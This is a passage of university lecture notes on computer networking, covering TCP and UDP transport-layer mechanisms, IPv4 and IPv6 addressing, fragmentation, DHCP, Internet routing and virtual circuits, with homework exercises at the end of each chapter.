only entry points are at the two ends (i.e. where the network sockets are). The
‘connection’ allows the communicating processes to use the notion of a packet
stream through a virtual pipe. Other processes outside of the connection cannot
send packets to the sockets of a connection. We say that a connection-oriented
service is stateful. Remembering the state is, for example, through remembering
the connection status, the order in which packets are sent and the list of packets
that are already received. TCP is an example of a connection-oriented transport
layer protocol. For example, a web browser makes a TCP connection to a web
server process before sending it HTTP requests. Once the socket is created, it
4.3. CONNECTION AND CONNECTION-LESS SERVICE 71

is a one-to-one communication and another web browser may not make HTTP
requests to the same socket (but it may make HTTP requests to the same process
through another TCP socket).
A connection between the processes is established using a message exchange
procedure called a ‘three-way handshake’ as shown in Figure 4.4.2 A connection
is terminated as shown in Figure 4.5.

Figure 4.4: Three-way handshake for connection establishment in connection-

oriented service. (Figure by Forouzan)

Figure 4.5: Connection termination in connection-oriented service. (Figure by

Forouzan)

A connection-less service on the other hand does not require the establishment
of a connection prior to data transfer and it is stateless. Processes are free to
send data packets to any connection-less socket and all will be delivered to the
receiving process through the socket. UDP is an example of a connection-less
transport layer protocol.

2 You may ask yourself why three-way handshake when there are a total of 4 messages. It is

because the second and the third messages are typically merged into one message. In full-duplex
communication where data packets flow in both directions, sending acknowledgement data
together with application data is called piggybacking.
72 CHAPTER 4. TRANSPORT LAYER

4.4 Internet’s Layer 4 Protocols: UDP and TCP

The two transport layer protocols that are used in the Internet are the Transmis-
sion Control Protocol (TCP) and the User Datagram Protocol (UDP). Applica-
tion developers have to make a choice between these two protocols and they do
it based on the specific requirements of the application being built. We already
discussed (Figure 4.1) some application requirements. Figure 4.6 shows some
example Internet applications, their respective application layer protocols and
the transport layer protocol chosen to fulfill the application requirements.

Figure 4.6: Internet applications, application layer protocols and underlying

transport layer protocols. (Figure by Kurose and Ross)

4.4.1 UDP
UDP is a connection-less transport layer protocol that provides multiplexing and
demultiplexing as the only services. Although UDP lacks most of the services
that TCP provides, UDP applications enjoy advantages of its simplicity:

• UDP packet header size is only 8 bytes and that means very small commu-
nication overhead in comparison to 20+ bytes long TCP headers. This is
especially important if the application needs to communicate very little
data (a few bytes) very often.

• UDP does not perform congestion control, which means that UDP applica-
tions can utilize the full speed of the communication channel.

A UDP socket is identified by a 2-tuple: the destination IP address and the

destination port number. Since there is no notion of connection in UDP, all
segments that have the same destination IP and port number will be directed to
the same UDP socket (hence the same process). This is shown in Figure 4.7.

Definition 4.4.1.1 Word

The term ‘word’ is used to refer to a fixed-length sequence of bits. The length
of a word is naturally chosen according to the unit of computation in a certain
computer architecture (e.g. 32-bit words for 32-bit computers).
4.4. INTERNET’S LAYER 4 PROTOCOLS: UDP AND TCP 73

Figure 4.7: The destination process is addressed using the destination IP address
and the destination port number. (Figure by Forouzan)

UDP packet format

In this course, we will illustrate packet formats in lines that divide the packet
into 32-bit words. The UDP segment format is given in Figure 4.8. The header
consists of four header fields. The first word contains source and destination
port numbers (16 bits each, integers ranging between 0 and 65535). The second
word contains the total packet length including header (in number of bytes) and
the checksum. The checksum is used for a simple check of integrity, i.e. whether
there are bit errors (changed bits) in a received segment or not.

Figure 4.8: UDP packet format. (Figure by Forouzan)

The UDP sender computes the checksum over certain parts of the IP header
(called the pseudo IP header ), the UDP header and the payload. The compu-
tation considers all this as a sequence of 16-bit integers and adds them up (1’s
complement sum). The checksum is the 1’s complement of the result. In order
to check for errors, the UDP receiver simply has to compute the checksum of a
received packet again and compare it with the checksum header field value. If
these two values are not equal, the receiver concludes that the segment is corrupt
and discards the segment. Note that this method may still miss some errors, i.e.
when two or more bits are flipped.

4.4.2 TCP
TCP is a connection-oriented transport protocol that provides extra services on
top of multiplexing and demultiplexing such as
74 CHAPTER 4. TRANSPORT LAYER

• connection setup, maintenance and termination

• reliable data transfer

• flow control

• congestion control

TCP by itself does not provide timing, throughput or security guarantees.

Security can be implemented on top of TCP in a layer 4.5 protocol such as
Transport Layer Security (TLS).

Figure 4.9: TCP sockets, buffers and the (byte stream) connection between two
processes. (Figure by Kurose and Ross)

Making a TCP connection between two processes requires a connection

establishment procedure. A TCP socket is identified by the following 4-tuple
and defines a connection:

• source port number

• destination port number

• source IP address

• destination IP address

In demultiplexing, the receiver uses this full identifier consisting of four parts
to choose the correct delivery socket (hence the correct process). Because of
this, for example a web server is able to deal with many TCP connections from
different users at port number 80. Since the source IP addresses and/or source
port numbers of the web browsers of individual users are different, their TCP
segments are delivered to different TCP sockets with identical destination IP
and destination port number fields. This is illustrated in Figure 4.10 using the
web server example.
Even for the same user, (non-persistent) parallel HTTP connections will result
in a different socket (identifier) for each request since parallel TCP connections
will have different source port numbers. This is illustrated in Figure 4.11.

TCP packet format

The TCP packet format is shown in Figure 4.12.

• The first word contains source and destination port numbers.

4.4. INTERNET’S LAYER 4 PROTOCOLS: UDP AND TCP 75

Figure 4.10: TCP demultiplexing for segments with identical header fields except
for sender’s IP address. (Figure by Kurose and Ross)

Figure 4.11: TCP demultiplexing for segments with identical header fields except
for sender’s port number. P2 and P3 together could have been a single process
but that would not change anything. (Figure by Kurose and Ross)

• The second word contains the sequence number, which is in fact the
index of the first byte of the segment within the whole byte stream.
Note that the numbering is on the byte count and not the segment count.
Therefore, consecutive segments do not necessarily have sequential numbers.
Furthermore, the sequence numbers in each direction are independent and
both start from a random value. Numbering is used for error control and
flow control.

• The third word contains the acknowledgement number, which confirms

the reception of bytes to the sender. This field indicates the index of the
next byte in the byte stream that is expected by the receiver. By filling
this field with the number N , the receiver says to the sender that it is now
expecting byte number N of the byte stream and it has received all bytes
prior to this (i.e. acknowledgements are cumulative).

• The fourth word starts with the HLEN field that indicates the total length
of the TCP header in number of words. This is followed by 6 bits that
are reserved3 for future use. The window size field indicates the number
3 Three of the six are already standardized in the meantime. Interested students can check

RFC 3540 and RFC 3168 for more details.

76 CHAPTER 4. TRANSPORT LAYER

Figure 4.12: TCP packet format. (Figure by Forouzan)

of bytes that the receiver is willing to receive and is used for flow control.
The six 1-bit flags are:

– URG: 1 if the urgent pointer field is to be used.

– ACK: 1 if acknowledgment field is used.
– PSH: 1 if the sender wants the receiver to push the already buffered
data portion to the receiving process.
– RST: 1 to reset the TCP connection.
– SYN: Used while establishing a connection (1 for the first packet of
the byte stream).
– FIN: Used for terminating an active connection.

• The fifth word contains checksum and urgent pointer fields. The checksum
use is the same as in UDP. The urgent pointer field is used if the URG
flag is set and it is an offset from the sequence number indicating the last
urgent data byte.

• The first five words of the header are followed by the ‘Options and padding’
fields, which can be up to 10 words long (HLEN determines the total
length). We will not discuss these. Padding refers to filling with zeros until
the total header length is an integer multiple of 32 bits.

Reliable Data Transfer and TCP

TCP provides reliable transfer of data between two processes. Note that the
reliability of data transfer i ) between end hosts and ii ) between neighboring
nodes may also be services provided by the network and the link layers below,
respectively. At this point in our discussion we will assume that the underlying
network layer and the link layer are unreliable.
TCP provides reliability using source-to-destination retransmissions that rely
on the following mechanisms:
4.4. INTERNET’S LAYER 4 PROTOCOLS: UDP AND TCP 77

The receiver side uses buffering, sequence numbers, TCP checksum and
cumulative acknowledgements for contributing to reliable data delivery.

• The TCP receiver detects and discards segments that are corrupted (using
checksum) or that are duplicates (using sequence numbers).

• The receiver confirms the reception of bytes to the sender side by sending
cumulative acknowledgements. Precisely, the receiver acknowledges the
sequence number of the next byte that is expected. The events leading to
acknowledgement generation by the receiver are given in Figure 4.13.

Figure 4.13: TCP events leading to acknowledgements. (Figure by Kurose and

Ross)

• The receiver buffers the segments that are received out-of-order and delivers
data to the destination process only after filling in the gaps (i.e. data
arrives at the process in order). When segments arrive at the receiver out-
of-order, the receiver acknowledges the first byte of the gap (at the lower
end). Therefore, repetitively receiving out-of-order packets that do not
contain the ‘next expected byte’ will trigger duplicate acknowledgements.

Figure 4.14: Four types of TCP timers. (Figure by Forouzan)

78 CHAPTER 4. TRANSPORT LAYER

The sender side relies on TCP retransmission timer and counting duplicate
acknowledgements for making a decision to retransmit segments or not.
• The TCP sender maintains four timers (Figure 4.14). One of these timers is
the retransmission timer. If an acknowledgement confirms the reception
of previously unacknowledged packets, this timer is either stopped or reset
(see the exact operation of the TCP sender with retransmission timer and
acknowledgements in Figure 4.15). TCP interprets expiration of this timer
as an indication of congestion. When the timer expires, the TCP sender
retransmits the segment and resets the timer. Figure 4.16 gives examples
of TCP retransmission scenarios.

Figure 4.15: Simplified TCP sender operation (ignoring duplicate acknowledge-

ments, without congestion and flow control). (Figure by Kurose and Ross)

Figure 4.16: TCP retransmission examples. (Figure by Kurose and Ross)

4.4. INTERNET’S LAYER 4 PROTOCOLS: UDP AND TCP 79

• Fast retransmit: The retransmission timer may take a long time to

expire, resulting in late retransmissions of lost packets. The TCP sender
continuously checks the acknowledgement numbers filled in by the receiver
and tries to identify packet losses by looking at duplicate acknowledgements.
The logic of ‘fast retransmit’ is simple: The sender typically pipelines its
segments and sends many segments in a short time. If there is congestion, it
is likely that a lot of these segments will be lost and the sender will not get
many (duplicate) acknowledgements. However, if it is just a single segment
(or a few) that is lost, there will be many duplicate acknowledgements
(asking for the first byte of the gap). When the TCP sender receives 3
acknowledgements pointing to the first byte of the lost segment, it will go
into the fast retransmit mode and retransmit this segment. The necessary
modification to the TCP sender to include fast retransmit is shown in
Figure 4.17, together with an example.

Figure 4.17: Simplified TCP sender operation with fast retransmit (without
congestion control and flow control). (Figure by Kurose and Ross)

TCP Flow Control

The Internet is an global heterogeneous network with hosts and access links
working at different speeds. Imagine that an application on your smart watch
is downloading a large file (e.g. an operating system update). The download
throughput that is available can be much more than that can be handled by
the smart watch, for example, if writing to the secondary storage is slow on the
smart watch. What is needed for correct operation is a bitrate (bits per second)
matching service between the sender process and the receiver process. This is
more or less what the flow control of TCP does.
The receiver fills in the window size field of each TCP segment (i.e. in
pure acknowledgements or in data segments in two-way communication) the
number of bytes that it is still willing to receive it its buffer (see Figure 4.18).
The sending process uses this information to adjust its speed. A window size of
zero causes the sender to stop sending data and start the persistence timer.
When this timer expires, the sender sends one (small) packet to probe the status
of the receiver window size and avoid deadlock.
80 CHAPTER 4. TRANSPORT LAYER

Figure 4.18: The receiving process may be slow at reading from this buffer.
(Figure by Kurose and Ross)

TCP Congestion Control

Congestion is a result of increasing network traffic, i.e. the number of packets
pumped into the network getting close to the overall network capacity or, even
worse, exceeding it. We discussed in Chapter 1 that the router queues grow
in this case and a large fraction of packets either experience very long queuing
delays and or have to be dropped. Congestion control is an effort to avoid this.
The TCP sender assumes that the cause of a retransmission timeout is conges-
tion and consequently slows down. One sender throttling down its transmission
rate will not make a huge effect, but the collective effort of many senders can
make a difference. After slowing down, the sender again gradually increases its
transmission rate until the next retransmission timeout.

Slow Start and Additive Increase: The TCP sender starts with a con-
gestion window (cwnd) that is equal to 1 segment (with size maximum
segment size (MSS)4 ). At this slow start phase, starting from a cnwd of 1
the sender is trying to go up to a large congestion window very quickly. To do
this, the sender increases its congestion window size by 1 segment until cwnd
reaches a threshold value (effectively an exponential increase of speed until
the threshold). At this point the sender goes into a congestion avoidance
phase where cwnd is increased by 1/cwnd segments for each successfully received
acknowledgement until cwnd is equal to the receiver window size.

Multiplicative Decrease: Upon a retransmission timeout the cwnd size is

reset to 1 segment and the threshold is set to cwnd/2. In TCP Tahoe, when
three duplicate ACKs are received, the sender does a fast retransmission and
goes back into the slow start phase with the threshold set to cwnd/2. In TCP
Reno, when three duplicate acknowledgements are received, the sender does a
fast retransmission and goes into the fast recovery phase with the threshold
set to cwnd/2, skipping slow start. In fast recovery, cwnd is increased by 1/cwnd
segments for each successfully received acknowledgement until cwnd is equal to
the receiver window size.
This algorithm applied by the TCP congestion control is called Additive
Increase, Multiplicative Decrease (AIMD) and is shown in Figure 4.19.
4 Depends on size of the largest IP datagram that the host can handle.
4.5. SUMMARY 81

Figure 4.19: TCP applying AIMD. (Figure by Kurose and Ross)

At any given time during transmission the send window of the sender (i.e.
maximum number of in-flight segments) is equal to the minimum of the receiver’s
advertised window size and the congestion window size cwnd.

TCP Vizualizer
Visit http://www.win.tue.nl/~mholende/tcpviz/ in order to download TCP
vizualizer software tool that is developed and maintained by Dr. Mike Holen-
derski.
TCP Visualizer aims at showing the differences between three flavours of the
TCP protocol: TCP Tahoe, TCP Reno and TCP New Reno. It shows different
views on the TCP protocol from the perspective of the sender:

• the outgoing buffer together with the sliding congestion window (CWND)

• a plot of the CWND size and threshold (SSTHRES) against time and
against round-trip time (RTT)

• a plot of sent DATA segments and received acknowledgement (ACK)

segments against time

• a sequence diagram describing occurring events (e.g. arrival of an ACK

segment or a timeout) and the corresponding actions

4.5 Summary
Transport layer provides services on top of the network layer. The most basic
transport layer service is process addressing and process-to-process data delivery.
UDP provides only these basic services while TCP provides additional services,
namely, connection setup, maintenance and termination, reliable data transfer,
flow control and congestion control. TCP performance in terms of throughput
and delay can be hampered by congestion control while UDP fires as fast as it
can. In practice, UDP-based applications should be ‘TCP friendly’.
82 CHAPTER 4. TRANSPORT LAYER

4.5.1 Literature
Suggested reading

• Chapter 3 of the book Computer Networking: A Top-Down Approach by

Kurose and Ross [20, Chapter 3].

4.6 Homework Exercises

1. What is the need for UDP? Would it not have been enough to just let user
processes send raw IP packets? Explain in a few sentences.

2. Consider sending a large file from one host to another over a TCP connec-
tion that has no loss.

(a) Suppose TCP uses AIMD for its congestion control without slow start.
Assuming CongWin increases by 1 MSS every time a batch of ACKs
is received and assuming approximately constant round-trip times,
how long does it take for CongWin to increase from 1 MSS to 8 MSS
(assuming no loss events)?
(b) What is the average throughput (in terms of MSS and RTT) for this
connection up to time = 7 RTT?

3. Transmission Control Protocol (TCP)- Consider the following plot

of TCP window size as a function of time.

Assuming TCP Reno is the protocol experiencing the behavior shown

above, answer the following questions. In all cases, you should provide a
short discussion justifying your answer.

(a) Identify the intervals of time when TCP slow start is operating.
4.6. HOMEWORK EXERCISES 83

(b) Identify the intervals of time when TCP congestion avoidance is

operating.
(c) After the 16th transmission round, is segment loss detected by a triple
duplicate ACK or by a timeout?
(d) After the 22nd transmission round, is segment loss detected by a triple
duplicate ACK or by a timeout?
(e) What is the initial value of Threshold at the first transmission round?
(f) What is the value of Threshold at the 18th transmission round?
(g) During what transmission round is the 70th segment sent?
(h) Assuming a packet loss is detected after the 26th round by the receipt
of a triple duplicated ACK, what will be the values of the congestion
control window size and of Threshold?

4. Suppose that a 1Mbps connection is shared by 5 well behaving TCP and

5 UDP sources. The maximum window size of the TCP sources is 50
KB. UDP sources send at a speed of 100 Mbps. What is the maximum
transmission speed of UDP and TCP sources? Justify your answer.
5. Suppose Host A sends two TCP segments back to back to Host B over a
TCP connection. The first segment has sequence number 90; the second
has sequence number 110.

(a) How much data is in the first segment?

(b) Suppose that the first segment is lost but the second segment arrives
at B. In the acknowledgment that Host B sends to Host A, what will
be the acknowledgment number?

6. Reliable data transfer:

(a) Consider a reliable data transfer protocol that uses only negative
acknowledgments (NAKs). Suppose the sender sends data only infre-
quently. Would a NAK-only protocol be preferable to a protocol that
uses acknowledgments (ACKs) only? Why?
(b) Now suppose the sender has a lot of data to send and the end-to-end
connection experiences few losses. In this case, would a NAK-only
protocol be preferable to a protocol that uses ACKs? Why?
Chapter 5

Network Layer

In this chapter, we try to answer the following questions:

• What are the principles of network layer services and protocols?

• What are the details of IP (Internet Protocol)?

• How are addressing and routing are done in a network, especially in a large
network like the Internet?

The main responsibility of a network layer protocol is host-to-host data

delivery. In doing this, the network layer has to deal with network layer ad-
dressing, packetization and fragmentation, routing (and forwarding), as well as
the concept of internetworking (connecting links of various types into a united
internetwork view). There are two logical types of packet-switched networks:
datagram networks and virtual circuit networks.
The Internet Protocol (IP) governs the network layer of the Internet.
The ‘IP layer’ is between the transport layer and the link layer. It provides
services to the transport layer and it receives the services of the link layer (e.g.
node-to-node delivery) as shown in Figure 5.1.

Figure 5.1: Issues addressed by network layer protocols. (Figure by Forouzan)

84
5.1. INTERNETWORKING 85

5.1 Internetworking
The host-to-host path in a computer network may pass through many types of
(wired and wireless) physical network links, and the internetworking service
provided by the network layer is an abstraction from this diversity. Furthermore,
despite the variety of link technologies and the link-specific addresses and
protocols, the transport layer enjoys a uniform numeric addressing scheme
provided by the network layer.
The network layer of the Internet is implemented in both the network edge
(hosts: clients, servers, peers) and the network core (routers) as shown in
Figure 5.2.

Figure 5.2: Network layer protocol is implemented in every router and host.
(Figure by Kurose and Ross)

“Internetworking is the practice of connecting a computer network

with other networks through the use of gateways that provide a com-
mon method of routing information packets between the networks.”
Wikipedia

In the Internet setting, the routers in the network core interconnect subnet-
86 CHAPTER 5. NETWORK LAYER

works (also known as subnets) and they correspond to the gateways mentioned
in this definition.

5.2 Datagram Networks

This course focuses on computer networks that are packet-switched where
data are communicated in bit chunks that are called packets. Packet-switched
networks that provide a connection-less unreliable service (e.g. the Internet) are
called datagram networks.
In datagram networks, there is no concept of a session state in the network
core1 . Routers treat each datagram independently and their per-datagram
behavior is statistical (destination network address is determining in choosing
the outgoing interface). As a result, different datagrams traveling from sender to
receiver in a datagram network can take different paths as shown in Figure 5.3.

Figure 5.3: Different datagrams traveling from sender to receiver in a datagram

network can take different paths. (Figure by Kurose and Ross)

5.2.1 Packetization
Network layer packetization refers to the encapsulation of transport layer seg-
ments into network layer datagrams by the sending host and the delivery of
these segments to the transport layer by the receiving host.

IP version 4 (IPv4)
The packet format of IPv4 datagrams is shown in Figure 5.4.

VER: IP version (v4).

HLEN: IP header length in number of 32-bit words.

DS: Differentiated services code indicating the type of data in the IP datagram.
Total length: Total length of the datagram in number of bytes.

1 Note that sessions may still exist at higher layers, but the network core does not give

support for that.

5.2. DATAGRAM NETWORKS 87

Figure 5.4: IPv4 datagram format. (Figure by Forouzan)

Fragmentation fields:

• Identification: Identifier for the fragments of a single datagram.

• Flags: Fragmentation controls and bit flag for indicating the last
fragment of a datagram.
• Fragmentation offset: The fragment offset (multiples of 8 bytes
starting from zero).

Time To Live (TTL): The number of hops (links) that the datagram is still
allowed to take (value decremented at each router).
Protocol: Target layer 4 protocol for the payload of the datagram.
Header checksum: 16-bit checksum of the IP header as shown in Figure 5.5.
The payload is not included in the checksum calculation.
Source and destination IP addresses: IPv4 addresses are 32-bit network
layer identifiers of link interfaces of Internet hosts and routers. IPv4
addresses use the dotted decimal notation as shown in Figure 5.6.

Definition 5.2.1.1 Link Interface

A link interface of a network node is its physical connection the correspond-
ing physical link.

Since routers have multiple link interfaces they have multiple IP addresses,
one for each interface. A significant portion of modern hosts also have
multiple link interfaces (e.g. one Ethernet, one WiFi) and multiple IP
addresses. Using 32 bits we can individually address 232 (roughly 4 billion)
IPv4 node interfaces, which is insufficient in our day.
Option: This part contains extra information fields that are mostly skipped.
We will not study those in this course.
88 CHAPTER 5. NETWORK LAYER

Figure 5.5: IPv4 checksum calculation. (Figure by Forouzan)

Figure 5.6: IPv4 dotted decimal notation. (Figure by Forouzan)

IPv4 Fragmentation
The maximum size of the payload that can be encapsulated within a data link
layer frame is dependent on the specific link type. This size is referred to as
the Maximum Transmission Unit (MTU). For example, Ethernet has an MTU
of 1500 bytes while WiFi (wireless IEEE 802.11 protocol) has an MTU of 2400
bytes. Upon transmitting a datagram on the outgoing link, if the size of the
IP datagram is larger than the link MTU, the transmitter (i.e. a source host
or a router on the path) needs to divide the datagram into pieces that can
fit in a frame. This is called fragmentation. After fragmentation, individual
fragments travel to the destination host independently from each other and they
are reassembled into the full IP datagram only at the last destination host.
The second word (second line) of the IPv4 header contains fields that are
dedicated to this purpose as shown in Figure 5.4.

IP version 6 (IPv6)
IPv6 was developed as a result of the 32-bit IPv4 address space being completely
exhausted. IPv6 addresses consist of 128-bits, which means that there are 2128
IPv6 addresses. Just to put this amount in perspective, this is (way) more than
enough to give an IPv6 address to every piece of sand in the entire world.
The packet format of IPv6 is simpler than the IPv4, which speeds up pro-
cessing at routers. The packet format is shown in Figure 5.9. The ‘option’ fields
have been removed from the basic header but this type of information (indicated
by the ‘Next header’ field) can now be part of the payload. In IPv6, routers
5.2. DATAGRAM NETWORKS 89

Figure 5.7: IPv4 datagram that is fragmented when moving towards link with
smaller MTU: Different fragments may take different paths and they are reassem-
bled in the destination host. (Figure by Kurose and Ross)

Figure 5.8: IPv4 fragmentation. (Figure by Forouzan)

do not deal with fragmentation. Sending hosts are required first to decide on a
datagram size using MTU discovery along the host-to-host path.
One of the goals of the IPv6 original design was to add security features
to IP. The Internet Protocol Security (IPsec) is a set of protocols for
authentication and encryption of IP packets. It was originally designed for IPv6.

VER: IP version (v6).

PRI: Priority field used to classify packets.

Flow label: Labels packets belonging to the same flow with the same number.
Routers can use this information so that the packets take the same path
and maintain the same order.

Payload length: The payload length in number of bytes.

Next header: Specifies the transport layer protocol or the type of payload
extension headers that follow.
90 CHAPTER 5. NETWORK LAYER

Figure 5.9: IPv6 datagram format. (Figure by Forouzan)

Hop limit: The same as TTL of IPv4.

Source and destination IP addresses: An IPv6 address is represented using
hexadecimal colon notation (each set of 4 hexadecimal digits correspond
to 16 bits) as shown in Figure 5.10.

Figure 5.10: IPv6 address representation. (Figure by Forouzan)

5.3 Layer 3 Addressing and Subnetting

A subnetwork or subnet in an internetwork is a set of network interfaces that can
physically reach each other over a single link (no routers in between). In order to
identify subnets in a network, a simple recipe is to detach each router interface
resulting in islands of isolated networks, each being a subnet. An example is
shown in Figure 5.11.
In the first years of the Internet, the network layer divided the total address
space (consisting of 232 addresses) into classes as shown in Figure 5.12, where
the first few bits indicate the class of the IPv4 address. Furthermore, each IPv4
address consisted of network identifier and host identifier fields as shown in
Figure 5.13.
Classful addressing has efficiency issues. For example, assume that we want
to assign an address space to an organization (e.g. a university) with 2000 hosts.
5.3. LAYER 3 ADDRESSING AND SUBNETTING 91

Figure 5.11: A network with three subnets. (Figure by Kurose and Ross)

Figure 5.12: Classful IPv4 addressing. (Figure by Forouzan)

Figure 5.13: Classful IPv4 addressing: Netid and Hostid parts of different classes.
The example shows the efficiency of assigning different class address spaces to
an organization with 2000 hosts. (Figure by Forouzan)

Assigning class B would result in a waste of more than 63K IPv4 addresses and
we can make class B assignments to at most 16368 such organizations. On the
other hand, assigning class C is not possible since class C gives only 256 distinct
addresses in each block. A workaround for this problem would be to assign
multiple class C blocks to the organization.
92 CHAPTER 5. NETWORK LAYER

Due to inefficiencies of classful addressing, classless addressing and Classless

Inter-Domain Routing (CIDR) were introduced. In classless addressing an IP
address consists of a subnet part (higher order bits) and a host part (lower order
bits). The subnet parts of all IP addresses in a given subnet are identical, i.e.
all these IP addresses start with the same subnet prefix. We illustrate the
notations used for subnet prefix and subnet mask in Figure 5.14 (IPv6 is similar).

Figure 5.14: CIDR notation: Subnet part and host part of an IPv4 address.
(Figure by Kurose and Ross)

Subnetting maps an address to the host’s location in a network topology.

That is, hosts inside a subnet do not own their IP addresses by default. Newly
joining hosts can ‘lease’ their IP addresses from a server for a certain time
duration using the Dynamic Host Configuration Protocol (DHCP) as shown in
Figure 5.15.

Figure 5.15: DHCP: New host needs IP in the top right subnet. (Figure by
Kurose and Ross)

Since used IP addresses eventually return to the pool of available IP ad-

dresses2 , DHCP allows reuse of IP addresses in a subnet. Upon receiving the IP
address, the DHCP server also provides additional information about the subnet
mask, the default gateway, the local DNS server address etc.
In DHCP, a newly joining host acquires an IP address as follows:

1. The new host broadcasts a “DHCP discover” message.

2. The DHCP server responds with a “DHCP offer” message.

2 The maximum pool size is limited by the ISP’s allocated block of IP addresses for this

subnet.
5.4. NETWORK LAYER ROUTING 93

3. The host requests an IP address by sending a “DHCP request” message.

4. The DHCP server assigns and sends the IP address in a “DHCP ack”
message.

5.4 Network Layer Routing

In its host-to-host path a network layer packet goes through multiple routers
and subnets. A routing protocol determines the packet routing behaviors
of individual routers in a network. The routing protocol implementation at
routers builds router forwarding tables, i.e. a mapping from destination host
addresses to the outgoing link interfaces of the router. While forwarding concerns
moving packets from an incoming link of the router input to the correct outgoing
link, routing concerns determining the entire route taken by packets from source
to destination as shown in Figure 5.16.

Figure 5.16: The routing algorithm determines the forwarding tables of the
routers. (Figure by Kurose and Ross)

Figure 5.17 shows how a forwarding table of a router could look in principle,
with one entry per destination IP. However, such a forwarding table is impossible
to maintain and use for a simple reason. Even with IPv4 addresses consisting
of 32 bits there would need to be around 4 billion entries in such a forwarding
table and every forwarding operation would require a look-up among these
entries. Furthermore, the amount of information exchange of the routing protocol
for maintaining forwarding tables of routers would cause a constant state of
congestion, rendering the Internet unusable for any other data communication.
Internet addressing is hierarchical. Hosts lease IP addresses from their
subnets. The network administrator of the subnet can acquire a block of IP
addresses for the subnet from an Internet Service Provider (ISP). The ISP itself
94 CHAPTER 5. NETWORK LAYER

Figure 5.17: Example (impractical) forwarding table with one entry per IP
address. (Figure by Kurose and Ross)

is allocated a (larger) block of IP addresses by IANA (of ICANN). An example

is shown in Figure 5.18.

Figure 5.18: An ISP’s address space allocated evenly to eight customer organiza-
tions. (Figure by Kurose and Ross)

Instead of employing the very inefficient scheme of one entry per destination IP
(giant forwarding tables), routing in the Internet is solved within the addressing
hierarchy of the Internet as a network of (sub)networks. Routers do longest
prefix matching for maintaining their forwarding tables and realizing their
forwarding behavior as shown in Figure 5.19.
Groups of subnetworks called autonomous systems (AS) have freedom in
how they deal with routing internally and they advertise to other autonomous
systems the IP prefixes that are reachable through them as well as the associated
cost (e.g. in number of subnets till the destination network etc). This is
exemplified in Figure 5.20.
Now consider the situation after ISPs-R-Us (an autonomous system) has
found a better route to Organization 13 . Figure 5.21 shows the new route
advertisements in this case.
3 For example, it may be that Organization 1’s link connection to Fly-By-Night-ISP is

somehow disconnected.
5.4. NETWORK LAYER ROUTING 95

Figure 5.19: Example forwarding table with longest prefix match. (Figure by
Kurose and Ross)

Figure 5.20: Routing advertisements. (Figure by Kurose and Ross)

Figure 5.21: New routing advertisements after ISPs-R-Us has found a better
route to Organization 1. (Figure by Kurose and Ross)

Internally, each autonomous system can run its own (intra-AS) routing
protocol for reaching hosts inside the autonomous system. On the other hand,
the (inter-AS) routing protocol at autonomous system boundaries (at border
gateway routers) towards other autonomous systems must be standardized.

• Intra-AS routing protocols of the Internet:

– Routing Information Protocol (RIP) - public: RFC 2453.

96 CHAPTER 5. NETWORK LAYER

– Open Shortest Path First (OSPF) - public: RFC 5340.

– Interior Gateway Routing Protocol (IGRP) - proprietary.

• ‘The’ inter-AS routing protocol of the Internet:

– Border Gateway Protocol (BGP) - public: RFC 4271.

Notice: The lecture slides contain sufficient explanations that are needed
for the Internet’s routing protocols, which are not repeated in this document (at
least not this year: we are doing our best to produce text and enrich the lecture
notes every year). It may be a good time now to switch to lecture slides, study
the relevant slides and come back. Note that you are responsible for both the
slides and these notes in the exam.

5.5 Network Layer Connections: Virtual Circuits

Packet-switched networks that provide a connection-oriented service, such as
Asynchronous Transfer Mode (ATM) and Frame Relay, are called virtual circuit
networks.
A virtual circuit consists of a path from source to destination where resources
may be reserved (see Figure 5.22), virtual circuit identifier numbers (a different
number for each link along the path) and the corresponding entries in router
forwarding tables along the path. Link and router resources (e.g. priority in
router queues, link bandwidth) may be allocated to a virtual circuit, resulting in
predictable performance. As a result, the performance of a virtual circuit (the
source-to-destination path) becomes similar to the performance of physical (e.g.
telephone) circuits. For example, virtual circuits can provide a certain level of
network layer reliability and better network performance per flow (e.g. lower
delay, better throughput) as a service.

Figure 5.22: Virtual circuit: all packets taking the same path through the same
routers from the source host till the destination host. (Figure by Kurose and
Ross)

While traveling to their destinations, each packet indicates to the routers in

the path which virtual circuit they belong to by means of a virtual circuit identifier
(instead of a destination host address). For achieving the ‘circuit-like’ behavior,
every router on the path maintains the states of the connections passing through.
Remember that within a datagram network the same destination address is
5.6. SUMMARY 97

processed by each router on the path. On the contrary, in virtual circuits the
virtual circuit identifier can be a different number on each link. Each router
on the host-to-host path maintains this information, i.e. the virtual circuit
numbers in its incoming and outgoing links for each virtual circuit, as part of
the connection state.
Similar to physical circuit switching, virtual circuit sessions (or calls) require
call setup, call maintenance and call termination procedures. During call setup
the caller initiates the call and the callee accepts the call by sending a reply as
shown in Figure 5.23. After this point, the connection is established and data
can start flowing in the virtual circuit.

Figure 5.23: Virtual circuit call setup. (Figure by Kurose and Ross)

5.6 Summary
Network layer services are essential for host-to-host communication in computer
networks. An important service is ‘hierarchical’ network layer addressing, which
reduces routing complexity and makes it possible to deal with billions of IP
addresses. Autonomous systems consisting of non-overlapping sets of subnets
have different strategies for handling internal routing (intra-AS routing). In
this way, each autonomous system can implement their own internal routing
policies and optimize routing performance considering their own network topology.
On the other hand, a common routing protocol is needed at the borders of
autonomous systems for interoperability. The Border Gateway Protocol is the
global standard of the Internet for routing packets across autonomous systems
(inter-AS routing).

5.6.1 Literature
Suggested reading
• Chapter 4 of the book Computer Networking: A Top-Down Approach by
Kurose and Ross [20, Chapter 4].

5.7 Homework Exercises

1. The address block starting with 190.100.0.0/16 is assigned to an ISP.

(a) How many IP addresses are available to this ISP?

98 CHAPTER 5. NETWORK LAYER

(b) The ISP needs to distribute these addresses to 3 groups of customers:

• 1st group: 64 customers; each needs 256 addresses
• 2nd group: 128 customers; each needs 128 addresses
• 3rd group: 128 customers; each needs 64 addresses
Design the sub-blocks and find out how many addresses are still
available after these allocations.

2. Consider the network shown below, which consists of 4 autonomous systems.

Suppose AS3 and AS2 are running OSPF for their intra-AS routing protocol,
and AS1 and AS4 are running RIP for their intra-AS routing protocol.
Suppose eBGP and iBGP are used for the inter-AS routing protocol.

(a) Router 3c learns about prefix x from which routing protocol?

(b) Router 3a learns about x from which routing protocol?
(c) Router 1c learns about x from which routing protocol?
(d) Router 1d learns about x from which routing protocol?
(e) Router 4b learns about x from which routing protocol?
(f) Once router 1d learns about x, it will put an entry (x, l) in its
forwarding table. Will l be equal to l1 or l2 for this entry? Explain
in one sentence.
(g) Now suppose that there is a physical link between AS2 and AS4
